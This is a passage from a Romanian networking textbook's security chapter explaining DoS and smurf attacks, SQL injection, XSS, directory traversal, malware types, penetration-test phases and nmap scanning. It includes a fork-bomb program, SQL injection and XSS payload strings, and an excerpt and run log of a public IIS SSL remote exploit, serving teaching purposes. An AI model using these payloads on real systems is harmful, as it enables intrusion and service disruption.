de pachete ICMP, consumnd ntreaga lime de band disponibil. Cel mai adesea atacul este prevenit prin filtrarea ntreg traficului ICMP, cu costul pierderii funcionaliti utilitarelor ping i traceroute. Atacul UDP flooding este cu adevrat distructiv cnd folosete drept int porturile 7 i 19, adic serviciile de echo i chargen. Aceste servicii, fiind rar folosite n reele locale, pot fi oprite de firewall-ul de intrare n LAN, fr un impact real asupra funcionrii reelei. Atacurile bazate pe flooding sunt n general combinate cu un atac de tip spoofing, prin care se genereaz adrese surs fictive i diferite pentru pachetele din flood (altfel o filtrare pe baza depirii unui numr limit de pachete per surs ar elimina atacul). Atacul spoofing asigur n acelai timp ascunderea identitii atacatorului. n plus, dac destinaia atacului bazat pe flooding nu este o surs int ci adresa de difuzare a unei reele, toate echipamentele

359 | S e c u r i t a t e a r e e l e i

din respectiva reea vor ncerca s rspund unei surse ce nu exist n realitate. Acest atac este de tip DDoS i se numete atac smurf.
ICMP REPLY D=173.1.1.1 S=64.8.12.5 ICMP REPLY D=173.1.1.1 S=64.8.12.6 ICMP REPLY D=173.1.1.1 S=64.8.12.7 ICMP REPLY D=173.1.1.1 S=64.8.12.8 ICMP REPLY D=173.1.1.1 S=64.8.12.9 ICMP REPLY D=173.1.1.1 S=64.8.12.10

173.1.1.1

ICMP REQ D=64.8.12.255 S= 173.1.1.1

10-2: Atacul smurf Aa cum a fost menionat i la nceputul capitolului, exist trei forme prin care un atac de tip DoS poate fi iniiat: atacurile din exterior, venite din Internet, atacuri iniiate din reeaua local i atacuri generate de pe aceeai main. Atacurile din exterior pot avea ca int: nchiderea anumitor servicii, dezactivarea conturilor utilizatorilor, utilizarea maliioas a telnet sau finger. Ca metode de atac din interior putem enumera: umplerea harddisk-ului, crearea de procese la infinit, crearea de fiiere greu de ters. n exemplul de mai jos se vor crea la infinit n directorul .ddd subdirectoare cu acelai nume.
while : ; do mkidir .ddd cd .ddd done

Un alt exemplu de atac intern l reprezint utilizarea funciei fork(), n scopul generrii continue de procese.
#include <sys/types.h> #include <unistd.h> #include <iostream.h> main() { int x; for (x=0;x<1000000;x++) { system(sync); fork(); } }

Atacurile DDoS pornesc de la puterea enorm de calcul disponibil n reelele actuale locale. Unele dintre aceste atacuri pot fi neintenionate, precum n cazul Slashdot effect. Numele vine de la cunoscutul site Slashdot, care a postat un link ctre un site cu capabiliti mai mici. Cnd foarte muli utilizatori au ncercat s acceseze respectivul site, efectul a fost echivalent cu un atac SYN flood. Atacurile DDoS se bazeaz n general pe infectarea unui numr ct mai mare de staii, i coordonarea unui atac ctre aceeai int. Un astfel de atac a fost generat de virusul MyDoom.

360 | R e e l e L o c a l e

Tot n categoria DDoS intr i virui de tip IRCBots, programe care dup infectarea unei staii vor iniia o conexiune ctre un server de IRC pe un canal privat, atacatorul putnd s controleze toate staiile infectate. Un IRCBot va deschide i portul 6667 (portul implicit pentru IRC) pe maina infectat.

10.1.2.4

Atacuri de nivel aplicaie

Atacurile de nivel 7 (aplicaie) exploateaz n general vulnerabiliti ale aplicaiilor web. Subiectul este amplu. Cei ce vor s urmreasc metodele de exploatare a vulnerabilitilor de nivel aplicaie pot s nceap cu cartea lui Joel Scambray: Hacking Exposed Web Applications, Second Edition. Atacurile de nivel 7 pot avea drept int i tehnologiile din spatele aplicaiilor web, un numr important de atacuri fiind direcionate mpotriva bazelor de date. Cel mai cunoscut atac de aceast fel este Inserarea de cod SQL (SQL Injection). Acest atac se bazeaz pe modul direct de interogare a bazei de date. Astfel, dac interogarea realizat este:
SELECT X from TABLE where user = $user_input AND pass = $pass_input

atunci, la introducerea n cmpul utilizator a unui nume valid de utilizator urmat de OR , dat fiind c n SQL introducerea simbolurilor -- definete un comentariu, operaia de selecie devine:
SELECT X from TABLE where user = $xxx OR -- AND pass = nu_conteaza

i va fi validat pentru orice nume de utilizator aflat n baza de date. Mergnd mai departe, se poate introduce n cmpul utilizator: xxx OR 1=1 OR -- , aceasta garantnd accesul indiferent dac utilizatorul xxx exist sau nu n baza de date. Pentru a preveni un astfel de atac, interogarea bazei de date trebuie fcut prin funcii de bibliotec i nu direct prin SELECT. Este necesar s se atrag din nou atenia n special asupra riscului de securitate adus de utilizatorii neglijeni din reea. Chiar i n cazul unor utilizatori responsabili nu trebuie ignorate riscurile unui atac bazat pe inginerie social - adic pe manipularea indivizilor pentru obinerea accesului la informaii confideniale sau alte resurse. Nu este o ntmplare c cel mai cunoscut hacker al tuturor timpurilor este Kevin Mitnick, un om cu cunotine tehnice limitate, dar cu o bun nelegere a psihologiei utilizatorilor i a administratorilor din reelele actuale.

10.1.2.5

Atacuri web

O clas tot mai relevant actualmente a atacurilor de nivel aplicaie o reprezint atacurile web. Datorita maturizrii Internetului i volumelor ridicate de tranzacii online, majoritatea atacurilor din ultima perioad se concentreaz asupra serviciilor oferite pe net. Pe de o parte, porturile asociate acestora trebuie s fie tot timpul deschise, iar pe de alta, protocoalele folosite nu au fost iniial concepute pentru magazine virtuale sau pli electronice, cu att mai puin fiind luate n calcul considerentele de securitate. Astfel, de-a lungul timpului au fost aduse multe mbuntiri pentru a permite aplicaiilor web s serveasc obiectivele actuale, precum criptarea comunicaiilor peste un canal SSL (HTTPS), meninerea unei sesiuni ntre client i server folosind cookie-uri, animarea coninutului paginilor web cu XHTML, CSS, JavaScript sau Flash, comunicaia asincron folosind AJAX - conducnd utilizatorul ctre o experien Web 2.0, puin peticit din punct de vedere al securitii.

361 | S e c u r i t a t e a r e e l e i

Atacurile pe Web se mpart n dou categorii: atacuri asupra platformei: sistem de operare, servicii, comunicaii, i atacuri asupra aplicaiei, care vizeaz compromiterea sistemului sau a utilizatorului. Atacurile asupra platformei se bazeaz pe exploatarea unor vulnerabiliti n sistemul de operare, n serviciile expuse, sau n protocoalele utilizate. Acestea urmresc obinerea accesului la date neautorizate sau incapacitarea serviciului. Aceste atacuri verific porturile deschise n firewall, versiunile serviciilor active i apoi caut vulnerabiliti cunoscute pe care s le utilizeze pentru a obine acces la sisteme. Atacurile se pot baza, de exemplu, pe bug-uri n versiunile de SSH, n serverele de FTP, DNS sau SMTP i cel mai adesea chiar n serverele Web (Apache sau IIS). Va fi prezentat n continuare un exemplu cunoscut de bre de securitate prezent n IIS: Microsoft Windows IIS 5.0 Remote Buffer Overflow, publicat n buletinul de securitate MS04011. Codul exploit-ului poate fi obinut de la http://www.milw0rm.com/exploits/275 i compilat cu cl (Visual C). Atacul se bazeaz pe exploatarea unui buffer overflow n serverul de web i genereaz un shell care ascult pe un port specificat la rulare. Extras din codul exploit-ului:
/*****************************************************************************/ /* THCIISSLame 0.3 - IIS 5 SSL remote root exploit */ /* Exploit by: Johnny Cyberpunk (jcyberpunk@thc.org) */ /* THC PUBLIC SOURCE MATERIALS */ /* */ /* Bug was found by Internet Security Systems */ /* Reversing credits of the bug go to Halvar Flake */ /* */ /* compile with MS Visual C++ : cl THCIISSLame.c */ /* */ /* v0.3 - removed sleep[500]; and fixed the problem with zero ips/ports */ /* v0.2 - This little update uses a connectback shell ! */ /* v0.1 - First release with portbinding shell on 31337 */ /* */ /* At least some greetz fly to : THC, Halvar Flake, FX, gera, MaXX, dvorak, */ /* scut, stealth, FtR and Random */ /*****************************************************************************/

Rularea exploit-ului:
C:\>iisexploit www.site.com myserver 8082 THCIISSLame v0.3 - IIS 5.0 SSL remote root exploit tested on Windows 2000 Server german/english SP4 by Johnny Cyberpunk (jcyberpunk@thc.org) [*] [*] [*] [*] [*] building buffer connecting the target exploit send waiting for shell Exploit successful ! Have fun !

Asemenea atacuri exist i pentru Apache. De exemplu, existena unui bug n biblioteca openssl permite deschiderea unui shell prin atacarea unui server web care folosete SSL1. Atacurile asupra aplicaiei Web se bazeaz pe vulnerabiliti n modul de programare, pe bug-urile i breele de securitate inerente limbajului de programare, sau pe greelile programatorilor. Atacurile asupra aplicaiilor Web acoper dou inte: compromiterea sistemului, prin obinerea accesului neautorizat pe unul dintre serverele de aplicaie sau baze de date, sau compromiterea clientului, prin obinerea informaiilor confideniale ale acestuia, furtul sesiunii, sau execuia de cod pe maina acestuia. Majoritatea atacurilor asupra aplicaiilor web sunt datorate validrii insuficiente a datelor de intrare ale aplicaiei: acestea pot fi date introduse de utilizatori, cmpuri ascunse ale formularelor, parametri ai paginilor dinamice, variabile aflate n cookie-uri, antete HTTP, etc. Datorita fapturilor c aplicaiile web sunt eterogene prin definiie, atacarea acestora nu se
1

Codul exploit-ului poate fi gsit aici: http://www.securiteam.com/exploits/5HP0P1F8AM.html.

362 | R e e l e L o c a l e

bazeaz att de mult pe vulnerabiliti cunoscute, ct pe o metodologie particular, specific fiecreia. Bazele de date CVE (Common Vulnerabilities and Exposures) conin informaii despre aplicaii particulare des ntlnite pe web (Wordpress, PHPBB). n continuare vor fi analizate vulnerabilitile generale ale aplicaiilor web, i vor fi detaliate cele de mare notorietate. Vulnerabilitile n procesul de autentificare implic unul dintre urmtoarele scenarii: obinerea neautorizat a informaiilor de autentificare, spoof-area identitii utilizatorului, interceptarea informaiilor de logare, spargerea algoritmilor de criptare sau retransmiterea datelor, furtul sesiunii sau ataarea la o sesiune valid. Procesul de autorizare implic aciunile pe care le poate ntreprinde un utilizator autentificat, iar atacurile includ escaladarea orizontal a privilegiilor, cum ar fi accesarea datelor din profilul altui utilizator al unui magazin online, sau escaladarea vertical a privilegiilor, precum accesarea unor pagini specifice administratorilor magazinului. Cross-Site Scripting (XSS) este cel mai frecvent atac direcionat ctre compromiterea clienilor ntlnit pe web-ul anilor 2008. Acest tip de atac vizeaz parametrii incomplet verificai de ctre aplicaie mpotriva unor marcaje specifice HTML / Javascript (,<,/>,etc.) i care sunt utilizai de ctre aplicaie n generarea rspunsurilor. Astfel, alterarea acestor parametri poate injecta orice cod executabil pe client n paginile vulnerabile ale aplicaiei. Acest cod poate s impersoneze utilizatorul n fata aplicaiei, s fure datele de autentificare, sau s foloseasc mai departe o vulnerabilitate a browser-ului clientului pentru a descrca i executa cod binar pe maina acestuia. Exist dou posibiliti de a exploata aceast vulnerabilitate:
Reflected Cross-Site Scripting: Pagina vulnerabil utilizeaz o parte din datele de intrare (parametrii GET, POST, antete HTTP, etc) n generarea rspunsului. Astfel, prin apelarea unei asemenea pagini cu un parametru ce conine cod HTML/Javascript, acesta va fi reflectat injectat n rspunsul generat de ctre server. Stored Cross-Site Scripting: Atacatorul identific un parametru al unei pagini care este procesat i stocat (ntr-o surs de date) astfel nct n momentul n care datele salvate sunt ncrcate de ctre o alt pagin (i posibil un alt utilizator) acestea s fie introduse ca i cod executabil pe sistemul clientului.
<?php ...... (cod omis pentru brevitate) if (search($_GET[id])==0) // functia search nu gaseste id-ul // afiseaza mesaj de eroare echo ID-ul .$_GET[id]. nu este valid; else ...... ?>

O pagin web (arat_info.php) cu urmtorul cod surs:

este vulnerabil la un atac XSS care conine urmtorul payload PoC (proof-of-concept):
http://server.vulnerabil.com/arata_info.php?id=<script>alert(XSS);</script>

unde codul script-ului JavaScript nu va face dect s afieze un mesaj de alert. Server Injections reprezint o categorie de atacuri de maxim impact care au ca int compromiterea serverelor dintr-un sistem online. Atacurile se bazeaz pe validarea insuficient a datelor de intrare, permind astfel injectare de cod SQL, LDAP, XPATH n componentele de backend, sau rularea codului maliios direct pe serverul web. Execuia de cod maliios direct pe serverul web este posibil n cazul apelurilor nesecurizate la comenzi de sistem, folosind de exemplu funcia eval() din PHP cu date nevalidate care pot fi injectate de ctre un atacator, sau folosind iruri speciale executabile ncadrate ntre ghilimele inverse: echo `date`. Cel mai cunoscut astfel de atac este inserarea de cod SQL (SQL Injection), atac prezentat anterior la categoria atacurilor de la nivelul aplicaie.

363 | S e c u r i t a t e a r e e l e i

Insecure Object Reference, sau atacul de tip Directory Traversal este specific aplicaiilor web, i se bazeaz pe referenierea unei resurse (un fiier, de exemplu) pe baza unor informaii care pot fi manipulate de un atacator. Acesta ar putea s citeasc diverse fiiere de pe serverul web (etc/shadow) sau ar putea injecta cod extern (de pe un alt server) n paginile aplicaiei. Information Leakage / Error Handling este o alt vulnerabilitate des ntlnit n cazul aplicaiilor web. Aceasta se datoreaz unor erori de configurare a serverului web, sau greelilor de programare care pot divulga prea multe informaii despre infrastructura intern, omiterii dezactivrii opiunilor de debugging pe mediul n producie, etc. Un exemplu de aplicaie auditat n realitate coninea ntr-una dintre paginile ASP urmtorul comentariu HTML:
<!-- #include virtual ="/include/connections.inc" -->

Accesnd pur i simplu un URL de forma http://server.vulnerabil.com/include/ connections.inc poate ntoarce un rspuns de forma:
<% ' FileName="Connection_ado_conn_string.htm" ' Type="ADO" ' DesigntimeType="ADO" ' HTTP="false" ' Catalog="" ' Schema="" Dim MM_Connection_STRING MM_Connection_STRING = "Driver={SQL Server};Server=SITE1;Database= Customers;Uid=sa;Pwd=tsVrH4k13web!*;" %>

10.1.2.6

Virui, troieni, viermi

Un virus este un program sau o secven de cod ce se ataeaz altor fiiere executabile fr acceptul sau cunotina utilizatorului. Un virus include, alturi de mecanismele de execuie, i modaliti de replicare inserate n codul altei aplicaii. Clasificarea viruilor n funcie de modul de replicare distinge ntre mai multe tipuri, dintre care cei mai ntlnii sunt: virui de e-mail, de macro, bombe logice, virui de boot, viermi, i troieni. Un lucru important de precizat este c simpla prezen a unui fiier infectat pe un calculator nu este echivalent cu infectarea sistemului. Pentru a infecta sistemul un virus trebuie s fie executat cel puin odat. Din pcate unele aplicaii ruleaz cod executabil n mod automat (fr informarea utilizatorului). Email-ul este unul dintre cile principale de propagare a viruilor. Viruii de e-mail sunt coninui n ataamentul e-mail-ului, deseori avnd extensia schimbat (cel mai adesea n extensie specific imaginilor). Aplicaia int a unui astfel de virus este clientul de e-mail. Datorit numrului mare de utilizatori ai clientului de email MS Office Outlook, o mare parte a acestor virui sunt dezvoltai special pentru aceast aplicaie. Odat executat un ataament infectat din e-mail, virusul se ncarc n memoria RAM i va urmri s se multiplice. Pentru aceasta, va cuta lista de adrese folosite n clientul de e-mail (address book). Majoritatea aplicaiilor client de e-mail creeaz lista de adrese n mod dinamic, fr consultarea utilizatorului. Odat deschis lista de adrese, virusul va folosi direct API-ul de trimis e-mail-uri pentru a se multiplica. Exemplele de virui de email sunt MyDoom, I love you, etc. Falii virui de mail (email virus hoaxes) sunt mesaje care pretind c au identificat prezena iminent a unui virus i solicit utilizatorului s forwardeze mesajul ctre toi cunoscuii; chiar n absena unui virus real, un fals virus poate produce pagube considerabile prin aciunile motivate de panic ale utilizatorilor.

364 | R e e l e L o c a l e

O a doua categorie important de virui o reprezint viruii de macro. Un macro este o bucat de cod interpretabil sau executabil, ataat unui fiier document. Aplicaiile int pentru aceti virui sunt cele de gestionare a documentelor gen editoare de text, calcul tabelar, sau editoare de prezentri. Aceste aplicaii vor ateniona n general utilizatorul nainte de deschiderea unui document ce conine macro-uri. Pentru a reduce gradul de risc, dac la deschiderea unui fiier se primete avertizarea de existen a unor macro-uri, se recomand nchiderea documentului i rularea unui program antivirus pe respectivul fiier. Viruii de boot nu reprezint o ameninare major pentru sistemele actuale datorit dificultii de lansare n execuie. Pentru a lansa un astfel de virus, sistemul trebuie s ncerce iniializarea de pe o partiie infectat. Impactul acestor virui s-a diminuat odat cu dispariia floppy discurilor. n prezent viruii de boot se pot propaga ori prin CD-uri, ori prin flash carduri. Troienii (trojan horses) reprezint aplicaii ce conin (sau instaleaz) un program maliios. Pentru a evita astfel de atacuri se recomand instalarea aplicaiilor doar din locaii sigure, precum i verificarea integritii fiierelor nainte de instalare. Viermii (worms) sunt programe ce folosesc vulnerabiliti n diferite servicii din Internet pentru a se multiplica. Spre deosebire de viruii propriu-zii, viermii nu trebuie s se ataeze de un alt program. Majoritatea viermilor urmresc doar s se propage, fr a altera fiierele din sistemul respectiv cauznd daune n special datorit consumului de resurse din reea. Pentru a reduce impactul viruilor sunt importante att msurile luate la nivelul reelei, ct i exersarea unor deprinderi din partea utilizatorilor. Astfel, este important ca accesul n reea s fie protejat de un firewall (dispozitiv de filtrare att a traficului de intrare n reea, ct i celui de ieire), ca serverul de e-mail s aib instalat un antivirus, s existe o politic de monitorizare a serviciilor, etc. La nivelul utilizatorului este important s nu lanseze n execuie fiiere primite prin e-mail, s nu deschid ataamente primite de la necunoscui, s menin un antivirus actualizat pe staia de lucru, etc. n acelai timp este important s nu fie instalate programe antivirus redundante, deoarece prin consumul de resurse acestea pot afecta semnificativ performanele sistemului.

10.1.3

Prevenirea atacurilor

Securizarea unui sistem sau a unei reele pot presupune investiii importante att n echipamente, ct i n software. Cu toate acestea, orice soluie de securitate nu trebuie s piard din vedere cteva componente de baz. Primul pas n orice soluie de securitate o reprezint stabilirea unor politici clare de securitate. O astfel de politic de securitate va urmri:
separarea ariilor cu nivel de securitate diferit; definirea clar a drepturilor fiecrui utilizator; definirea serviciilor ce trebuie oferite de ctre fiecare component a reelei.

Odat stabilit politica de securitate va trebui restricionat traficul ce nu este prevzut de aceasta prin configurarea politicilor de filtrare a pachetelor. Infectarea staiilor dintr-o reea local poate oferi o poart de acces unui atacator n spatele firewall-ului, reducnd gradul de securitate al reelei. Din acest motiv un administrator responsabil nu se va ocupa doar de configurarea firewall-ului i a serverelor, dar i de securizarea staiilor de acces. Cel mai important pas n acest sens o reprezint configurarea i ntreinerea programelor antivirus.

365 | S e c u r i t a t e a r e e l e i

O component important a securitii o reprezint confidenialitatea. n scopul protejrii unor date sensibile se recomand configurarea criptrii traficului. Nu trebuie pierdut ns din vedere consumul mare de resurse (mai ales procesor) presupus de operaia de criptare.

10.2 Auditarea reelei


Testele de penetrare (pentest) realizeaz o analiz complex a securitii sistemului informatic auditat, testnd eficacitatea msurilor de securitate implementate prin executarea unor atacuri reale. Activitile se bazeaz pe practici de ethical hacking, iar posturile pe care le ia o echip de audit (tiger team sau read team n jargon) pot fi:
Black-box atacatorul nu cunoate nicio informaie despre sistemul auditat, cu excepia numelui sau a unei adrese IP; Grey-box auditorul deine apriori informaii despre sistem; volumul acestora variaz n funcie de obiectivele testelor - spre exemplu, poate fi vorba despre testarea unei reele din perspectiva unui angajat; White-box echipa de audit are acces la orice informaie despre sistem incluznd codul surs sau privilegii administrative. Acest tip de teste este important n identificarea breelor pe sistemele nchise sau pentru analizarea unor soluii nainte de a fi instalate n mediul de producie; de asemenea, acest pas poate include un Security Code Review.

Activitile unui test de penetrare vor demara printr-o faz de colectare a informaiilor, continund cu scanri. Pe baza informaiilor obinute vor fi selectate n continuare atacuri de obinere a accesului sau de compromitere a funcionalitii (Denial-of-Service). n cazul unui atac de obinere a accesului realizat cu succes, un atacator va urma procedurile de acoperire a urmelor, de meninere a accesului ulterior prin stabilirea unei metode stabile de a comunica cu staia compromis i de extindere a influenei prin rularea unor noi teste din poziia recent obinut. Un ultim pas al activitilor de pentest este reprezentat de alctuirea unui raport complet pe baza tuturor informaiilor obinute i a ncercrilor efectuate. Faza de recunoatere sau reconnaisance este etapa n care, contrar ateptrilor, un atacator i petrece majoritatea timpului. Colectarea informaiilor poate fi pasiv sau activ. Recunoaterea pasiv se realizeaz fr interaciune cu sistemul int i conine tehnicile de sniffing, analiza pachetelor cu utilitare dedicate precum p0f, netcraft, etc i investigarea bazelor de date publice: Google, Archive.org, Rapoarte Financiare, ARIN, RIPE, etc. Recunoaterea activ implica stabilirea unor conexiuni ctre sistemul auditat prin folosirea unor unelte precum trace, ping i altele. Scanarea este o etap important pentru c de cele mai multe ori completeaz imaginea obinut pn atunci. Activitile ntreprinse includ scanarea de porturi folosind nmap cu toate tipurile sale: SYN, Connect, ACK chiar i Idle Scanning, maparea ACL-urilor de pe firewall-uri cu firewalk i hping, scanri de vulnerabiliti cu Nessus, Retina, CANVAS, CORE Impact, identificarea protocoalelor, serviciilor i sistemelor de operare utilizate i ncercri de enumerare prin NetBios Null Sessions, LDAP, SNMP, DNS Zone Transfer. Atacul. Urmtoarea faz este cea mai interesant deoarece implic ncercarea atacatorului de a obine accesul. Pe baza informaiilor obinute anterior echipa de audit creeaz un profil de securitate al reelei i un plan de atac. n aceasta faz sunt consultate de obicei baze de date publice pentru obinerea exploit-urilor, sau sunt dezvoltate propriile exploit-uri i unelte de atac pentru compromiterea sistemelor int. Cele mai populare baze de date sunt:
http://www.milw0rm.com http://www.packetstormsecurity.org/ http://osvdb.org/ http://www.securityfocus.com/

366 | R e e l e L o c a l e

Lansarea unui atac folosind informaiile de pe aceste site-uri implic n continuare un volum de munc substanial din partea atacatorului, deoarece codul existent trebuie de cele mai multe ori modificat (fie pentru c este greit n mod intenionat, fie pentru c nu corespunde perfect versiunii i subversiunii serviciului care trebuie compromis), apoi trebuie compilat i analizat pe un mediu de test. Unul dintre cele mai convenabile moduri de a porni un atac se bazeaz pe folosirea unui framework dedicat; cele mai folosite astfel de platforme sunt Metasploit (Open-Source), Canvas sau Core Impact1. Atacurile pot fi direcionate asupra urmtoarelor locaii care conin vulnerabiliti: sisteme de operare, servicii sau aplicaii. Atacurile asupra sistemelor de operare sunt de mai multe tipuri. Un exemplu de atac datorat vulnerabilitilor din codul OS este spargerea RPC/SMB pe Windows exploatat de viermi celebri precum Blaster sau Sasser. Spargerea parolelor n cazul obtinerii hash-urilor (prin sniffing, de exemplu) este un alt tip de atac asupra OS. Metodele de atac asupra parolelor includ atacuri de dicionar (prin testarea unor cuvinte dintr-o list predefinit), brute-force (ncercarea tuturor posibilitilor de x caractere), hibride (pornind de la un dicionar i schimbnd/adugnd cteva caractere), rainbowcrack (brute-force dar cu liste precalculate), reversarea algoritmului (cisco type7, Adobe PDF, Microsoft Word) sau bree n acesta (WEP). Uneltele cele mai cunoscute sunt: L0phtCrack, john, hydra, rainbowcrack. Privilege escalation implic posibilitatea unui utilizator limitat de a obine privilegii superioare, de obicei de administrator. Cteva dintre cele mai relevante exemple includ un buletin de tiri din 2008 de la Microsoft care anuna existena unor bree n kernel http://www.microsoft.com/technet/security/bulletin/ms08-025.mspx, sau un exploit din 31 august 2008 care permite escaladarea level 15 (maxim) pentru orice versiune de Cisco IOS: http://www.securiteam.com/exploits/5UP0W0AP5E.html. Pe baza vulnerabilitilor descoperite de-a lungul timpului, printre cele mai populare atacuri direcionate ctre servicii se numr atacurile asupra serverelor DNS, OpenSSH, Web: Apache/ IIS, i atacurile asupra bazelor de date: Microsoft SQL Server, MySQL, etc. Majoritatea atacurilor mpotriva aplicaiilor asupra din ultimii ani sunt concentrate asupra aplicaiilor Web i se bazeaz pe urmtoarele vulnerabiliti ale acestora:
Cross-Site Scripting (XSS); Cross-Site Request Forgery (XSRF); Cross-Site Tracing (XST); Injectare (SQL, LDAP, XPATH); Server-Side Includes (SSI); Buffer Overflows; Session Hijacking; Directory Traversal; Escaladare orizontal a privilegiilor; Escaladarea vertical a privilegiilor; Vulnerabiliti specifice tehnologiilor folosite: Java, JavaScript, Flash, ActiveX.

Atacurile la nivelul reea se bazeaz pe exploatarea unei vulnerabiliti n protocoalele utilizate n reeaua destinaie i pot implica:
Introducere de echipament nelegitime, rogue i rularea unor protocoale din seria: HSRP, DTP, STP, VTP, OSPF, EIGRP, DHCP pentru manipularea traficului i ocolirea msurilor de securitate existente. Zebra este o aplicaie Linux care poate fi utilizat pentru o parte dintre acestea, pentru altele fiind nevoie de echipamente dedicate;
1

Puncte de referin pentru atacurile de sistem: SANS Top 20 http://www.sans.org/top20/; pentru aplicaii web: OWASP Top 10 http://www.owasp.org/index.php/Top_10_2007.

367 | S e c u r i t a t e a r e e l e i Atacurile prin SNMP (versiunile 1 i 2); ARP Poisoning (uneltele cunoscute sunt cain, ettercap, dsniff).

Social Engineering Ingineria social (social engineering) reprezint persuadarea oamenilor de a furniza informaii sau alt tip de sprijin pentru a ctiga acces neautorizat la un sistem. Tehnicile de social engineering includ: intimidare, persuasiune, pozarea ca victim ce are nevoie de ajutor sau, dimpotriv, crearea unei situaii n care victima are nevoie de un ajutor pe care atacatorul se ofer s l dea. Impersonarea unui utilizator legitim, a unei persoane influente sau a personalului de suport tehnic sunt tehnici foarte puternice. Eavesdropping reprezint tehnica de ascultare a unei conversaii private fr ca cei implicati s tie c sunt ascultai. Dumpster Diving implic scormonirea tuturor resturilor unei organizaii pentru colectarea unor informaii. Shoulder Surfing este procedura prin care un atacator urmrete monitorul unei alte persoane pentru ai urmri activitile. Tailgating i Piggybacking sunt tehnici de ptrundere n interiorul unor suprafee protejate de ui sau bariere cu cartele, respectiv prin angajarea ntr-o conversaie cu o persoan ce deine accesul. Reverse Social Engineering este o alt metod consacrat. Atacatorul convinge pe alii s apeleze la sprijinul su, de cele mai multe ori construind un personaj fictiv la care intele vor apela pentru rezolvarea unor probleme. De cele mai multe ori atacatorii prin social engineering vor utiliza mijloace de comunicaie informatice precum instant messaging, e-mail, telefon, SMS i vor combina aceste tehnici cu alte atacuri precum dezvoltarea unor troieni, escaladarea privilegiilor, crearea unor site-uri de tip phishing, etc. Extinderea influenei. Odat ce un atacator a compromis un sistem, acesta va verifica noile orizonturi care i-au fost deschise. Dac a fost posibil compromiterea unei staii din interiorul unei reele, este posibil ca de aici s fie lansate noi atacuri ctre staiile administratorilor. Astfel, echipa de audit va repeta activitile de colectare a datelor, scanare i eventual va realiza noi atacuri din noua poziie. n cazul spargerii unor parole, atacatorul va accesa echipamente i va altera configuraiile pentru a crea premisele unui nou atac. Mentinerea accesului. Atacatorul va folosi tehnici precum instalarea de rootkit-uri, troieni, crearea de canale de comunicaie ascunse (covert) sau inverse, dezactivarea firewall-ului i adugarea de conturi administrative pentru a menine un acces stabil pe viitor ctre un sistem compromis. Acoperirea urmelor include tergerea log-urilor de pe sistem, identificarea punctelor care ar fi putut genera alerte, precum echipamentele de tip IDS/IPS, i compromiterea acestora, urmate de o eventuala nlturare a alertelor generate. Denial-of-Service reprezint o strategie alternativ a atacatorului n situaia n care nu reuete s obin accesul. n cazul specific al unui test de penetrare aceste teste vor fi fcute doar dac ele sunt cerute n mod explicit de ctre compania auditat. Tehnicile de compromitere a funcionalitii includ: Resource Starvation: epuizarea resurselor unui sistem prin cunoscutele atacuri de tip SYN Flood, epuizarea resurselor sistemului de operare, etc. Bandwidth Starvation, asimilat noiunii de flood: implica transmiterea unui trafic susinut mai mare dect destinaia poate accepta, ocupnd ntreaga banda pe care inta o poate folosi. Atacuri distribuite (DDoS). Aceste atacuri implic un numr mare de staii compromise n prealabil care lanseaz n mod sincronizat acelai atac ctre o int comun.

368 | R e e l e L o c a l e

10.3 Utilitare pentru asigurarea securitii


10.3.1 Nmap
Exist numeroase aplicaii de scanat porturile disponibile, shareware sau freeware, una dintre cele mai populare fiind nmap. Datorit popularitii de care se bucur utilitarul nmap n rndul administratorilor de sisteme Linux (www.insecure.org/nmap), aplicaia a fost portat i pe platforme Windows (sourceforge.net/projects/nmapwin). Nmap implementeaz mai multe metode de scanare, putnd oferi informaii despre porturile deschise, dar i despre porturile explicit filtrate. n plus fa de informaiile referitoare la serviciile rulate, nmap pune la dispoziia administratorului de reea metode de aflare a versiunii sistemului de operare, versiunile serviciilor active, utilizatorii ce ruleaz aceste servicii, precum i multe alte informaii relevante. Printre tipurile importante de scanare, ase se refer la scanarea porturilor TCP, unul la scanarea porturilor UDP i unul la monitorizarea conectivitii, aceast ultim metod ncercnd s determine doar dac staia destinaie este activ i dac se poate ajunge la ea. O analiz detaliat a metodelor de scanare presupune o prezentare a cmpurilor de control din antetul TCP, prezentare ce depete scopul acestui capitol. Dintre metodele de scanare pentru porturi TCP, singura disponibil utilizatorilor neprivilegiai este TCP connect. TCP connect ncearc deschiderea unei conexiuni ctre portul int; dac apelul sistem connect reuete, nseamn c portul este deschis, altminteri, nseamn c portul este nefolosit, sau filtrat de un firewall. TCP SYN este modul implicit de scanare pentru utilizatorii privilegiai. Se trimite un pachet SYN ctre maina care este scanat. n cazul n care se primete drept rspuns un pachet SYN|ACK nseamn c exist un server ce ascult pe acest port, dar dac pachetul de rspuns este un pachet RST, nseamn c portul n cauz nu este deschis. Dac nu se primete niciun rspuns portul este considerat ca fiind filtrat de un firewall. TCP SYN se bazeaz pe trimiterea de pachete SYN, ceea ce presupune drepturi de administrator. Din acest motiv, acest mod nu este accesibil utilizatorilor neprivilegiai. Dou opiuni de scanare importante sunt -sV i -O. Prima dintre aceste opiuni ofer informaii despre versiunea serviciilor ce ascult pe porturile deschise, n vreme ce opiunea O ofer informaii despre sistemul de operare instalat, precum i timpul de la ultima restartare.
kiwi:~# nmap -sV -O 141.85.37.53 Starting nmap 3.55 ( http://www.insecure.org/nmap/ ) at 2004-08-27 17:23 EEST Interesting ports on dhcp-53.cs.pub.ro (141.85.37.53): (The 1659 ports scanned but not shown below are in state: closed) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 3.8.1p1 (protocol 1.99) Device type: general purpose Running: Linux 2.4.X|2.5.X|2.6.X OS details: Linux 2.5.25 - 2.6.3 or Gentoo 1.2 Linux 2.4.19 rc1-rc7) Uptime 0.105 days (since Fri Aug 27 14:52:12 2004) Nmap run completed -- 1 IP address (1 host up) scanned in 11.840 seconds

Un lucru ce nu trebuie trecut cu vederea este faptul c procesul de scanare de porturi poate duce la o ncrcare semnificativ a sistemului, o operaie de monitorizare putnd avea efectele unui atac DoS. Pentru a controla impactul scanrii de porturi asupra destinaiei, nmap folosete un numr de ase metode de temporizare (timing) a procesului de scanare: Paranoid, Sneaky, Polite, Normal, Aggressive i Insane. Metoda implicit este Normal, i urmrete rularea ct mai rapid a scanrii fr a ncrca reeaua sau a pierde porturi. Primele trei metode sunt mult mai lente i folosesc scanri serializate, n vreme ce ultimele dou se bazeaz pe scanri paralele, dar n schimb pot pierde unele dintre porturile deschise.

369 | S e c u r i t a t e a r e e l e i

